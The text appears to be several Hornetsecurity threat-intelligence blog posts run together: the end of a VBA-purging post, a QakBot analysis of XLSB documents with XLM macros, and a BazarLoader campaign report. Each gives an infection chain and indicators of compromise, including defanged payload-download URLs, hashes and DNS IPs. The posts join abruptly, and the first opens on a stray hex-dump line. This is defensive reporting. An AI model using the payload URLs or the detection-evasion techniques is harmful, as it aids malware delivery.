00007e90  6d 79 2f 64 61 74 61 31  2f 69 6d 61 67 65 73 2f  |my/data1/images/|
[...]

Conclusion and Countermeasure

As we have seen VBA purging can evade detection by some security solutions. Many solutions seem to fallback to a hash-based detection because presumably their detection signatures rely on plain text VBA code in the PerformanceCache.

Hornetsecurity’s Advanced Threat Protection includes sophisticated VBA macro analyzers that, unlike ClamAV or other solutions, extracts the VBA macro code from the CompressedSourceCode of office documents. This way Hornetsecurity’s multi-layer approach to email attachment scanning will continue working even against VBA purged documents.

References

• ¹ https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
• ² https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla
• ³ https://blog.nviso.eu/2020/02/25/evidence-of-vba-purging-found-in-malicious-documents/
• ⁴ https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/
• ⁵ https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cfb/
• ⁶ https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-inside-formbook-infostealer/
• ⁷ https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/

Indicators of Compromise (IOCs)

Hashes

SHA1	Filename	Description
016a4df3e4ac565ca0fd4d227d63e60009b3d385	RFQ-752101222GPTR7 - CEYLON STEEL CORPORATION LIMITED.xls	Original VBA Purging maldoc used in VT test
eb4010a4aca2411a64db9f3554bb2476c71a1be9	test.xls	Manipulate VBA Purgning maldoc used in VT test

Summary

The Hornetsecurity Security Lab has detected usage of XLM macros within XLSB documents to distributed the QakBot malware. Because both XLM macros as well as the XLSB document format being uncommon these new malicious documents have a very low static detection rate by current anti-virus solutions.

Background

QakBot (also known as QBot, QuakBot, Pinkslipbot) has been around since 2008. It is distributed via Emotet, i.e., Emotet will download the QakBot loader onto victims that are already infected with Emotet. But it is also distributed directly via email. To this end, it uses email conversation thread hijacking in its campaigns¹, i.e., it will reply to emails that it finds in its victim’s mailboxes. QakBot is known to escalate intrusions by downloading the ProLock ransomware².

The following timeline shows recent events relating to QakBot:

QakBot’s chain of infection is as follows:

QakBot has been using XLM macros (also known as Excel 4 macros) for quiet sometime.

Technical Analysis

On 2020-10-15 at around 12:40 UTC a malspam campaign distributing QakBot using XLSB documents was observed.

XLSB is an Excel Binary Workbook file. Its main use is to make reading from and written to the file much faster and reducing the size of very large spreadsheets. However, with current computing power and storage availability the need for this binary format diminished and today they are seldom used.

Combining this with the ancient and thus also not very well detected XLM macros causes the current documents to not be recognized by any AV listed on VirusTotal:

Also common document malware analysis tools such as OLEVBA do not recognize the XLM macros in the XLSB format:

Though, support for XLM macros in XLSB files is on OLEVBA’s roadmap³.

Even the tool XLMMacroDeobfuscator (specialized on analyzing malicious XLM macros), which supports the XLSB format⁴, has problems with QakBot’s XLSB file:

But as usual the bug in XLMMacroDeobfuscator was quickly worked on⁵.

The QakBot XLSB files are delivered via the classic QakBot email conversation thread hijacking¹ in an attached ZIP file:

The ZIP file contains the XLSB document, which when opened pretends to be a encrypted by DocuSign and the user needs to “Enable Editing” and “Enable Content” to decrypt it:

When the user does so a Auto_Open XLM macro in the document is launched, which will download the QakBot loader:

The URL is a assembled via the XLM macro and pretends to download an PNG file:

In reality the PNG file is the QakBot loader executable. Hornetsecurity has previously reported on the QakBot loader and follow up malware such as ProLock ransomware².

Conclusion and Countermeasure

Like the reemergence of the ancient and nowadays less common XLM macros used by malicious actors, the use of the uncommon XLSB documents again leads to lower detection rates by security solutions, which are mostly focused on the more common modern VBA macro malware.

However, Hornetsecurity’s fast response time to new emerging threats and zero-day malware protection provides its customers a robust shield against never-before-seen malspam campaigns and new attack types. Users of Hornetsecurity’s Spam Protection and Malware Protection are protected against the QakBot XLSB document.

References

• ¹ https://www.hornetsecurity.com/en/security-information/email-conversation-thread-hijacking/
• ² https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/
• ³ https://twitter.com/decalage2/status/1265031224130777091
• ⁴ https://twitter.com/DissectMalware/status/1253496637735010304
• ⁵ https://twitter.com/DissectMalware/status/1317939590720819201

Indicators of Compromise (IOCs)

Hashes

MD5	Filename
ebd0e8581800059d451ed9969502ba53	Comission_1587332740_10142020.xlsb
80fd1750532ebb8d148cd9916e621dba	Comission_1587332740_10142020.zip

URLs

• hxxp[:]//thomastongralestate[.]com/skywkc/3415201.png

DNSs

• thomastongralestate[.]com

MITRE ATT&CK

MITRE ATT&CK Tactics and Techniques used by QakBot:

Tactic	Technique
TA0001 – Initial Access	T1566.001 – Spearphishing Attachment
TA0001 – Initial Access	T1566.002 – Spearphishing Link
TA0002 – Execution	T1027 – Obfuscated Files or Information
TA0002 – Execution	T1059.005 – Visual Basic
TA0002 – Execution	T1204.002 – Malicious File
TA0003 – Persistence	T1053.005 – Scheduled Task
TA0003 – Persistence	T1547.001 – Registry Run Keys / Startup Folder
TA0004 – Privilege Escalation	T1053.005 – Scheduled Task
TA0005 – Defense Evasion	T1027.002 – Software Packing
TA0005 – Defense Evasion	T1055 – Process Injection
TA0005 – Defense Evasion	T1055.012 – Process Hollowing
TA0005 – Defense Evasion	T1497.001 – System Checks
TA0006 – Credential Access	T1003 – OS Credential Dumping
TA0006 – Credential Access	T1110.001 – Password Guessing
TA0006 – Credential Access	T1555.003 – Credentials from Web Browsers
TA0007 – Discovery	T1016 – System Network Configuration Discovery
TA0011 – Command and Control	T1071.001 – Web Protocols
TA0011 – Command and Control	T1090 – Proxy
TA0011 – Command and Control	T1090.002 – External Proxy

Summary

Hornetsecurity has observed a malicious email campaign distributing the BazarLoader using termination as a lure. The campaign uses a link to Google Docs from where the BazarLoader malware executable is downloaded.

Background

BazarLoader is a new malware loader attributed to a threat actor with a close relation to the TrickBot malware. The loader is also aptly named KEGTAP, as in device used to open a beer keg³, because it is used to “open” the network of victims for follow up malware in order to move laterally on the network and eventually deploy ransomware.

Technical Analysis

On 2020-10-13 at exactly 13:00 UTC Hornetsecurity registered the first emails of the new BazarLoader campaign:

The emails use a termination lure:

The URL in the email is a legitimate Google Doc URL:

From their all links lead to the BazarLoader executable (Report10-13.exe).

When executed, BazarLoader will use OpenNIC Public DNS Servers to resolve a .bazar domain generated via domain generation algorithm (DGA). The .bazar domain is not a regular TLD but rather an alternative DNS TLD of the decentralized EmerDNS blockchain DNS system.

Then the BazarLoader will download and install the BazarBackdoor¹. This backdoor will be used to move laterally in the victim’s network in order to take over the domain controller. Eventually the intrusion is monetized by deploying the Ryuk² ransomware.

Conclusion and Countermeasure

Because the payload download is hosted on the legitimate Google Docs site victims are more likely to click the link in the email then they would an obscure URL they are unfamiliar with. BazarLoader’s use of the EmerDNS blockchain DNS system makes it immune to current efforts by various security vendors to disrupt the operations of TrickBot.

Hornetsecurity’s Spam Filter Service and Malware Protection, already detects and quarantines the outlined threat emails.

References

• ¹ https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor
• ² https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk
• ³ https://en.wikipedia.org/wiki/Beer_tap#Portable_keg_tap

Indicators of Compromise (IOCs)

Hashes

MD5	Filename	Description
9cd1f319f58c3979399c1779d5a34bc2	Report10-13.exe	BazarLoader

IPs

OpenNIC Public Servers used by the analyzed BazarLoader version:

• 195.10.195.195 (53/udp)
• 192.71.245.208 (53/udp)
• 172.126.70.119 (53/udp)
• 151.80.222.79 (53/udp)
• 94.16.114.254 (53/udp)
• 193.183.98.66 (53/udp)
• 51.254.25.115 (53/udp)
• 95.174.65.241 (53/udp)

URLs

• hxxps[:]//docs.google[.]com/document/d/e/2PACX-1vTVCHKzmdSD2wX03GTnyBToo4xvldfGqtFWZiz5bT5cTRozW4Xk5H6GER0GmscSPqnpyFtokphDl-_U/pub